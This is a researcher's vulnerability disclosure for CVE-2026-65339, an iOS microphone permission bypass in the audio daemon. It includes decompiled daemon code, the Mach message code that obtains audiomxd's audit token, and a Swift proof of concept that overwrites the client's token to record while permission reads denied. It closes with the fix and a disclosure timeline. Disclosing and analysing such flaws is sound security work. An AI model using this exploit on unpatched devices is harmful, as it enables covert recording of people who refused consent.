CVE-2026-65339: A Microphone Permission Bypass on iOS

A sandboxed iOS app with no added entitlements shows the microphone prompt. The user taps Don't Allow. The app records anyway, while its permission still reads denied and no orange indicator appears. Once started, the capture survives backgrounding and a locked device.

or step through it yourself
13:15dbg.reRemoteIO DemoMicrophone enforcement probeRecording without permissionTap Record, then choose Don't Allow.The user chose Don't Allow when prompted.Microphone permission: not askedMicrophone permission: deniedWaiting to startLive microphone inputRecordStop captureWhat the app can seeTCC decisiondeniedToken installedaudiomxdSetProperty(2009)noErrSamples receivednon-silentnothing yet“RemoteIO Mic Demo” WouldLike to Access the MicrophoneThis proof-of-concept validates whetherRemoteIO enforces microphoneauthorization.Don't AllowAllowThe user refuses.This is the real system prompt.The refusal is recorded correctly.AVAudioApplication.shared.recordPermissionreturns denied for the whole run.Capture starts anyway.The meter is fed from the render callback,which receives non-silent samples. Withaudiomxd's token installed, the daemonmatched itself and never asked TCC.And nothing lights up.The orange microphone indicator would sitinside the Dynamic Island, where the dashedring is. It never appeared there, nor inControl Center.

The bypass is one AudioUnitSetProperty call carrying the audio daemon's own audit token, which the kernel hands the app on request. Told I am audiomxd, audiomxd decides the client is itself and sends it real microphone samples.

Reproduced on iPadOS 27.0 beta 24A5390f and iOS 26.6 23G71. Fixed in iOS and iPadOS 26.6.1, macOS Tahoe 26.6.2 and the later releases below. Apple said another researcher reported it first. The 17 August advisories initially credited Nik Tsytsarkin of Meta Red Team X, and Apple added my name to them on 14 September.

Where the recording decision is made

An app's RemoteIO unit is a client-side proxy. The real client object lives in the audio daemon, which Apple's log strings call audiomxd. Control travels over MIG, and captured samples reach the app through shared memory.

The consent decision is one byte in that object:

  • AQIONodeClient, the input node at client + 56, stores the client's 32-byte audit token at +0x28 and a canRecord byte derived from it at +0x14, which are client + 96 and client + 76.
  • RemoteIOClient::IONodeClient::EnqueueInput zero-fills the client's shared region when canRecord is not 1. A denied app gets silent samples, not none.

This byte was enough for real samples on both builds I tested. I did not audit other consent checks.

Who does audiomxd think you are?

When an app sends a Mach message, the kernel writes the sender's audit_token_t into the message trailer, where the sender cannot change it.1 By convention val[5] is the PID and val[7] the pidversion, which exec and posix_spawn bump, so the pair names one process execution.2 The daemon reads them with audit_token_to_pid and audit_token_to_pidversion. iOS apps lack those accessors and read the words directly.

Property 2009, an identity the client is allowed to write

AURemoteIO also accepts an undocumented property, ID 2009, whose data is an audit_token_t. The SDK documents output-unit properties 2000 to 2016 and skips 2008 and 2009.3 For 2009 the daemon unmarshals exactly 32 bytes and rejects a shorter payload.

Such a property has a legitimate use. A process configuring audio for another process must name whose consent applies. That only works if the caller is authorized to speak for someone else, and that check is missing.

The missing bind

_AUIOServer_SetProperty uses the authenticated MIG sender token only to find the caller's own client, so one app cannot reconfigure another's unit. For 2009 it then copies the 32 caller-supplied bytes over that client's stored token and recomputes canRecord.4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// _AUIOServer_SetProperty at 0x1bc35f650
// v35 is a copy of a2, the trailer audit token. a5 is the property ID
v17 = (*(__int64 (__fastcall **)(__int64, AQMESession *, __int64))(*(_QWORD *)v13 + 8LL))(v13, &v35, a3);
if ( !v17 )                          // the sender token's only use
  ...                                // fails with -50
...
if ( (_DWORD)a5 != 2009 )            // 0x1bc35f974
  goto LABEL_54;
v24 = *(_OWORD **)(v37 + 40);        // unmarshalled property data
v25 = v24[1];
*(_OWORD *)(v17 + 96) = *v24;        // 32 caller bytes
*(_OWORD *)(v17 + 112) = v25;
AQIONodeClient::SetCanRecord(v17 + 56);

The lookup, RemoteIOServer::ClientFromToken, only checks the caller's PID against the one stored when the client was created. SetCanRecord reads the token at client + 96, and property 2009 overwrites exactly those bytes.

One object, two identities for the same processFields of RemoteIOClient, the daemon's per-client object, in build 23G71.DAEMON FUNCTIONRemoteIOServer::ClientFromToken()Compares this field with the caller's authenticatedPID. It decides whose client you may touch, nothing else.CALL THE APP MAKESAudioUnitSetProperty(unit, 2009, ...)AudioUnitSetProperty(unit, 2009, ...)Its 32 bytes land here unchecked, so the appcan store the daemon's own token.An ordinary client never calls it, so the field keepsits own process's token.+0other fields+24pid+76canRecord = 1canRecord = 0+96audit token = audiomxdaudit token = this appreadswritesDAEMON FUNCTIONAQIONodeClient::SetCanRecord()Compares the PID and pidversion inside +96 with the daemon's own audit token.They match, so it sets canRecord without asking TCC.No match, so it goes on to ask TCC about whichever process +96 names.

+24 holds the caller's real identity and decides ownership. +96 decides recording, and the caller can overwrite it.

No entitlement gates the write. It only needs scope 1, kAudioUnitScope_Input, which the proof of concept passes.

The implicit-allow branch

AQIONodeClient::SetCanRecord gets the daemon's own audit token from the kernel and compares its PID and pidversion with the stored token. On a mismatch it asks TCC about whichever process the stored token names, or denies if Launch Services is not ready. On a match it skips TCC, logs this line from AQIONode.cpp:341 and sets canRecord.

1
%25s:%-5d Recording implicitly allowed for AQIONodeClient %p hosted in audiomxd with no client audit token.

The log call is at 0x1bc36efe8, and canRecord is stored at 0x1bc36ed00. The denial itself is untouched, which is why the permission still reads denied.

The kernel will tell you the daemon's identity

The trailer works both ways. Get audiomxd to send you a message and the kernel stamps it with audiomxd's token. Routine 88000 of the AURemoteIO MIG subsystem, GetServerPID, replies to an empty request. Ask for the audit trailer when receiving the reply.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mach_port_t service = MACH_PORT_NULL;
bootstrap_look_up(bootstrap_port, "com.apple.audio.AURemoteIOServer", &service);
mach_port_t reply = mig_get_reply_port();

RIOMessageBuffer request;
memset(&request, 0, sizeof(request));
request.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND,
                                          MACH_MSG_TYPE_MAKE_SEND_ONCE);
request.header.msgh_size        = sizeof(mach_msg_header_t);
request.header.msgh_remote_port = service;
request.header.msgh_local_port  = reply;
request.header.msgh_id          = 88000;   // GetServerPID
mach_msg(&request.header, MACH_SEND_MSG, request.header.msgh_size,
         0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

RIOMessageBuffer response;
mach_msg(&response.header,
         MACH_RCV_MSG | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) |
                        MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT),
         0, sizeof(response), reply, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

mach_msg_audit_trailer_t *trailer = (mach_msg_audit_trailer_t *)
    (response.bytes + RIORoundMessageSize(response.header.msgh_size));
if (trailer->msgh_trailer_size >= sizeof(mach_msg_audit_trailer_t))
    memcpy(out_token, trailer->msgh_audit.val, sizeof(audit_token_t));

The pidversion in val[7] is what a guessed PID cannot supply, and the trailer hands it over.

Assembling the capture

The rest is a standard input unit.5 The only unusual line is the property write, which sets canRecord before the session is activated. How late it can move is untested.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
private let auditTokenProperty: AudioUnitPropertyID = 2009

// RemoteIO unit from AudioComponentInstanceNew: input on, output off,
// mono s16 linear PCM, input callback ... (unremarkable)

// The bypass: 32 bytes of "I am audiomxd".
let status = serverToken.withUnsafeBytes { bytes in
    AudioUnitSetProperty(unit!, auditTokenProperty,
                         kAudioUnitScope_Input, 0,
                         bytes.baseAddress, UInt32(bytes.count))
}
guard status == noErr else { throw ProbeError.step("SetProperty(2009)", status) }

let session = AVAudioSession.sharedInstance()
try session.setCategory(.record, mode: .measurement, options: [])
try session.setActive(true)

AudioUnitInitialize(unit!)      // canRecord already set by the write above
AudioOutputUnitStart(unit!)

Neither proof of concept variant has an entitlements file, and the only privacy key is NSMicrophoneUsageDescription, which makes the prompt appear. In my tests the capture had to start in the foreground, and the background variant also sets UIBackgroundModes = audio. Both were installed from Xcode and never went through App Review.

The fix

In 26.6.1 the setter stops trusting the caller's bytes.6 Unless the sender token is the all-0xFF _gBogusAuditToken sentinel, it now requires this entitlement.

1
com.apple.private.audio.client-audit-token-override

Without it the write fails with kAudioUnitErr_Unauthorized and logs this line.

1
%25s:%-5d Rejecting ClientAuditToken override from unentitled caller pid %d

The AudioQueue path to the same canRecord flag got its own check for the same entitlement. None of this is in the 23G71 AudioToolbox, and the 13 July beta 5, 23G5065a, still has the unguarded code shown above.

On Ravel, the AudioToolbox diff from 26.6 to 26.6.1 adds four strings: the entitlement, a rejection line for each path and a new build stamp.7 An entitlement search there finds one holder, /usr/libexec/cameracaptured.

The missing check is now the one named earlier, authorization to speak for someone else.

Disclosure

  1. reported
    Reported with a proof of concept
    The report included an Xcode project that reproduces it.
    • iPadOS 27.0 beta 24A5390f
    • iOS 26.6 23G71
  2. fixed
    Fixed
    CVE-2026-65339, “An app may be able to leak sensitive user information”. The iOS and iPadOS 26.6.1 and macOS Tahoe 26.6.2 advisories credited Nik Tsytsarkin of Meta Red Team X.
    • iOS 26.6.1
    • iPadOS 26.6.1
    • macOS Tahoe 26.6.2
  3. closed
    Report closed
    Apple said the issue was fixed before my report, in the 13 July iOS 26.6 beta, and found no security issue in what I sent.
  4. appealed
    Asked for reconsideration
    I sent the build comparison above. The entitlement check, its log string and the rejection path are in 26.6.1, but not in 23G71 or the 13 July beta. 23G71 shipped on 27 July, two weeks after that beta, and the proof of concept works on it.
  5. reopened
    Status changed
    “We're addressing the issue in additional releases.”
  6. collision
    Marked as a duplicate
    Apple said another researcher reported the issue first.
  7. fixed
    Fixed in four more releases
    Listed in the macOS Sequoia 15.8, tvOS 27, visionOS 27 and watchOS 27 advisories. The same day, Apple added my name to the 17 August advisories.
    • macOS Sequoia 15.8
    • tvOS 27
    • visionOS 27
    • watchOS 27
  8. held
    Hold requested
    Apple asked me to hold disclosure. More changes were planned.
  9. extended
    Hold extended
    Until two weeks after Apple's next release.
  10. fixed
    Fixed for older devices
    • iOS 18.7.11
    • iPadOS 18.7.11
  11. published
    Disclosure
    Two weeks after the 26 October release.

  1. ipc_kmsg_init_trailer_and_sign in osfmk/ipc/ipc_kmsg.c of xnu-12377.121.6, which the send path calls with the sending task. task_fill_audit_token in osfmk/kern/task.c sets the val[] order. ↩︎

  2. XNU's osfmk/mach/message.h and mach/message.h in the iOS 27.2 SDK call the token opaque and warn that its layout may change. exec_handle_sugid gives the process a new pidversion on every exec and posix_spawn. The iOS 27.2 SDK ships no bsm/libbsm.h, so apps have neither accessor. ↩︎

  3. The output-unit property enums in AudioToolbox.framework/Headers/AudioUnitProperties.h of the iOS 27.2 SDK. ↩︎

  4. AudioToolbox from the shared cache in iPhone16,2_26.6_23G71_Restore.ipsw. Addresses are from this image. ↩︎

  5. AudioComponentFindNext, AudioComponentInstanceNew, AudioUnitSetProperty, AudioUnitInitialize, AudioOutputUnitStart, kAudioUnitSubType_RemoteIO, AVAudioSession, AVAudioApplication.recordPermission. Property 2009 has none. ↩︎

  6. From iPhone16,2_26.6.1_23G83_Restore.ipsw, where _AUIOServer_SetProperty at 0x1bc348650 checks the entitlement through HasBooleanEntitlement(const audit_token_t &, CFStringRef) at 0x1bc348cc8. The beta 5 image, iPhone16,2_26.6_23G5065a_Restore.ipsw, still has the unguarded setter at 0x1bc35f650. ↩︎

  7. Ravel indexes iPhone18,2 builds, so its addresses differ from the iPhone16,2 ones here. ↩︎